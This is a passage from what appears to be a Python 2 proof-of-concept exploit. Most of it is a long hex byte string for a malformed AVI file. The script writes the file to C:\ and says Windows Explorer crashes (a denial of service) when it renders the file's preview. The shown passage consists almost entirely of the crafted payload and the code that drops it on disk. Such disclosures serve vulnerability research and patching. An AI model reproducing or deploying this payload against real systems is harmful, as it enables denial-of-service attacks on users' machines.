AD\xA3\x00\x00\x01\x30\x30\x64\x63\xC8\x00\x00\x00\x00\x02\x08\x04\x03\x75\x01\x80\x00\x00\x00\x02\x07\x00\x00\x09\xA4\xA1\xA0\x85\x46\x0C\x29\x31\x2F\x00\x00\x00\x00\x02\x06\x00\x03\x75\x00\x07\x73\x45\x0C\x2B\x37\x8E\x2F\x00\x00\x00\x00\x10\x2F\x59\xBC\xB3\xB1\xB0\xAE\xAE\xA6\x4E\x07\x2C\x38\x3A\x35\x2F\x00\x00\x00\x10\x2F\x5B\xBD\x75\x75\x1E\x0F\x1A\x49\x11\x2A\x37\x39\x33\x2F\x2F\x00\x00\x00\x10\x2F\x5B\xC2\xBD\x04\x19\x6D\x6C\x5D\x1F\x36\x3B\x91\x2F\x2F\x2F\x00\x00\x00\x0C\x2F\x5B\xC4\x0B\x1C\xC1\xC8\xB5\xAB\x70\x68\xBB\x00\x00\x00\x0B\x2F\x5B\xC7\x06\x6E\xCC\xCB\xBF\xA9\x86\x7D\x00\x00\x00\x00\x0B\x2F\x5B\xC9\x0E\x87\xC5\xC5\xB5\x8A\x88\x7C\x00\x00\x00\x00\x0B\x2F\x5B\xCB\x18\x74\xB4\xAC\xA9\x88\xAA\x7E\x00\x00\x00\x00\x0B\x2F\x5B\xCC\xCB\x5E\x8B\x86\x89\xC0\xBE\x76\x00\x00\x00\x00\x02\x04\x00\x00\x06\x52\x65\x82\x81\xAD\x9C\x00\x01\x30\x30\x64\x63\xC0\x00\x00\x00\x00\x02\x0C\x04\x00\x04\x44\x0C\x29\x31\x00\x00\x00\x02\x0D\x00\x00\x03\x2B\x37\x8E\x00\x00\x00\x00\x02\x09\x00\x00\x07\x75\x4B\x07\x2C\x38\x3A\x35\x00\x00\x00\x00\x02\x06\x00\x00\x0A\x40\x16\x3C\x4F\x11\x2A\x37\x39\x33\x2F\x00\x00\x00\x02\x05\x00\x00\x0B\x03\x19\x6D\x6C\x5D\x1F\x36\x3B\x32\x2F\x2F\x00\x00\x00\x00\x02\x04\x00\x00\x0C\x0B\x1C\xC1\xC8\xB5\xAB\x70\x68\x96\x2F\x2F\x2F\x00\x00\x00\x0C\x2F\x5B\xC4\x75\x05\x6E\xCC\xCB\xBF\xA9\x86\x7D\x00\x00\x00\x0C\x2F\x5B\xC7\xC4\x0E\x87\xC5\xC5\xB5\x8A\x88\x7C\x00\x00\x00\x0C\x2F\x5B\xC9\xC7\x18\x74\xB4\xAC\xA9\x88\xAA\x7E\x00\x00\x00\x0C\x2F\x5B\xCB\xC9\xC9\x5E\x8B\x86\x89\xC0\xBE\x76\x00\x00\x00\x02\x04\x00\x00\x07\xCA\x93\x65\x82\x81\xAD\x9C\x00\x00\x00\x00\x02\x04\x00\x03\x5B\x00\x03\x5C\x5A\x5B\x00\x00\x01\x30\x30\x64\x63\xDC\x00\x00\x00\x00\x02\x0D\x02\x00\x03\x2D\x0C\x29\x00\x00\x00\x00\x02\x0C\x00\x00\x04\x43\x0C\x2B\x37\x00\x00\x00\x02\x0B\x00\x00\x05\x4D\x07\x2C\x38\x3A\x00\x00\x00\x00\x02\x07\x00\x00\x09\x3F\x10\x20\x4A\x11\x2A\x37\x39\x33\x00\x00\x00\x00\x02\x06\x00\x00\x0A\x03\x19\x6D\x6C\x5D\x1F\x36\x3B\x32\x2F\x00\x00\x00\x02\x05\x00\x00\x0B\x0B\x1C\xC1\xC8\xB5\xAB\x70\x68\x34\x2F\x2F\x00\x00\x00\x00\x02\x05\x00\x00\x0B\x05\x6E\xCC\xCB\xBF\xA9\x86\x7D\x2F\x2F\x2F\x00\x00\x00\x00\x02\x04\x00\x00\x0C\xBC\x0E\x87\xC5\xC5\xB5\x8A\x88\x7C\x2F\x2F\x2F\x00\x00\x00\x02\x04\x00\x00\x0C\x75\x18\x74\xB4\xAC\xA9\x88\xAA\x7E\x2F\x2F\x2F\x00\x00\x00\x02\x04\x00\x00\x0C\xC4\xC2\x5E\x8B\x86\x89\xC0\xBE\x9A\x2F\x2F\x2F\x00\x00\x00\x02\x04\x00\x00\x08\xC6\xC4\x6F\x65\x82\x81\xAD\x9D\x00\x00\x00\x02\x05\x00\x00\x07\xC6\xC4\xC2\xBD\x24\x24\x23\x00\x00\x00\x00\x02\x05\x00\x00\x06\xC9\xC7\xC4\xC3\x5B\x27\x00\x01\x30\x30\x64\x63\xE2\x00\x00\x00\x00\x02\x0D\x00\x00\x03\x2D\x0C\x29\x00\x00\x00\x00\x02\x0C\x00\x00\x04\x13\x0C\x2B\x37\x00\x00\x00\x02\x0B\x00\x00\x05\x4B\x07\x2C\x38\x3A\x00\x00\x00\x00\x02\x07\x00\x00\x09\x3D\x10\x1D\x4A\x11\x2A\x37\x39\x33\x00\x00\x00\x00\x02\x06\x00\x00\x0A\x03\x19\x6D\x6C\x5D\x1F\x36\x3B\x32\x2F\x00\x00\x00\x02\x05\x00\x00\x0B\x0B\x1C\xC1\xC8\xB5\xAB\x70\x68\x34\x2F\x2F\x00\x00\x00\x00\x02\x05\x00\x00\x0B\x05\x6E\xCC\xCB\xBF\xA9\x86\x7D\x2F\x2F\x2F\x00\x00\x00\x00\x02\x05\x00\x00\x0B\x0D\x87\xC5\xC5\xB5\x8A\x88\x7C\x2F\x2F\x2F\x00\x00\x00\x00\x02\x05\x00\x00\x0B\x18\x74\xB4\xAC\xA9\x88\xAA\x7E\x2F\x2F\x2F\x00\x00\x00\x00\x02\x05\x00\x00\x0B\xB3\x5E\x8B\x86\x89\xC0\xBE\x9A\x2F\x2F\x2F\x00\x00\x00\x00\x02\x05\x00\x00\x0B\x75\x64\x65\x82\x81\xAD\x9E\x7B\x2F\x2F\x2F\x00\x00\x00\x00\x02\x06\x00\x00\x0A\xBD\xBC\xB3\xB1\xB1\xAF\x79\x2F\x2F\x2F\x00\x00\x00\x02\x06\x00\x00\x06\xC2\xBD\xBC\xA2\xA2\x6B\x00\x01\x30\x30\x64\x63\xCA\x00\x00\x00\x00\x02\x0B\x00\x00\x05\x2D\x0C\x29\x31\x2F\x00\x00\x00\x00\x02\x09\x00\x00\x07\x55\x14\x0C\x2B\x37\x8E\x2F\x00\x00\x00\x00\x02\x09\x00\x00\x07\x4C\x07\x2C\x38\x3A\x35\x2F\x00\x00\x00\x00\x02\x05\x00\x00\x0B\x3E\x10\x1D\x4A\x11\x2A\x37\x39\x33\x2F\x2F\x00\x00\x00\x00\x02\x04\x00\x00\x0C\x03\x19\x6D\x6C\x5D\x1F\x36\x3B\x90\x2F\x2F\x2F\x00\x00\x00\x10\x2F\x26\xB1\x0B\x1C\xC1\xC8\xB5\xAB\x70\x68\x98\x72\x2F\x2F\x2F\x00\x00\x00\x10\x2F\x53\xB2\x05\x6E\xCC\xCB\xBF\xA9\x86\x7D\x85\x77\x2F\x2F\x2F\x00\x00\x00\x10\x2F\x59\xBC\x0E\x87\xC5\xC5\xB5\x8A\x88\x7C\xA0\x78\x2F\x2F\x2F\x00\x00\x00\x10\x2F\x5B\xBD\x18\x74\xB4\xAC\xA9\x88\xAA\x7E\xA1\x78\x2F\x2F\x2F\x00\x00\x00\x02\x04\x00\x00\x0C\x5E\x8B\x86\x89\xC0\xBE\x9B\xA5\x7A\x2F\x2F\x2F\x00\x00\x00\x02\x04\x00\x00\x08\x64\x65\x82\x81\xAD\x9E\x75\xAE\x00\x01\x30\x30\x64\x63\xB8\x00\x00\x00\x00\x02\x09\x00\x00\x07\x2D\x0C\x29\x31\x2F\x2F\x2F\x00\x00\x00\x00\x02\x08\x00\x00\x08\x1B\x0C\x2B\x37\x8C\x2F\x2F\x2F\x00\x00\x00\x02\x07\x00\x00\x09\x4D\x07\x2C\x38\x3A\x97\x2F\x2F\x2F\x00\x00\x00\x00\x10\x2F\x22\xA8\x3F\x12\x3C\x4F\x11\x2A\x37\x39\x95\x6A\x2F\x2F\x2F\x00\x00\x00\x10\x2F\x25\x03\x19\x6D\x6C\x5D\x1F\x36\x3B\x94\x80\x71\x2F\x2F\x2F\x00\x00\x00\x0C\x2F\x0A\x1C\xC1\xC8\xB5\xAB\x70\x68\xB8\x85\x84\x00\x00\x00\x0B\x2F\x00\x6E\xCC\xCB\xBF\xA9\x86\x7D\x75\x75\x00\x00\x00\x00\x0B\x2F\x08\x87\xC5\xC5\xB5\x8A\x88\x7C\xA4\xA1\x00\x00\x00\x00\x0B\x2F\x18\x74\xB4\xAC\xA9\x88\xAA\x7E\x75\x75\x00\x00\x00\x00\x0B\x2F\x5B\x5E\x8B\x86\x89\xC0\xBE\x9B\xAE\xA8\x00\x00\x00\x00\x0A\x2F\x5B\x92\x65\x82\x81\xAD\x9E\x75\x75\x00\x01\x69\x64\x78\x31\x80\x00\x00\x00\x30\x30\x64\x62\x10\x00\x00\x00\x04\x00\x00\x00\x28\x01\x00\x00\x30\x30\x64\x63\x00\x00\x00\x00\x34\x01\x00\x00\xB0\x00\x00\x00\x30\x30\x64\x63\x00\x00\x00\x00\xEC\x01\x00\x00\xC8\x00\x00\x00\x30\x30\x64\x63\x00\x00\x00\x00\xBC\x02\x00\x00\xC0\x00\x00\x00\x30\x30\x64\x63\x00\x00\x00\x00\x84\x03\x00\x00\xDC\x00\x00\x00\x30\x30\x64\x63\x00\x00\x00\x00\x68\x04\x00\x00\xE2\x00\x00\x00\x30\x30\x64\x63\x00\x00\x00\x00\x52\x05\x00\x00\xCA\x00\x00\x00\x30\x30\x64\x63\x00\x00\x00\x00\x24\x06\x00\x00\xB8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
f.write(poc)
f.close()

print "Done, 1 file generated on 'C:\\' ..."
print "Highlight (select) generated file in Explorer"
print "DoS is triggered when Explorer tries to render AVI file for preview"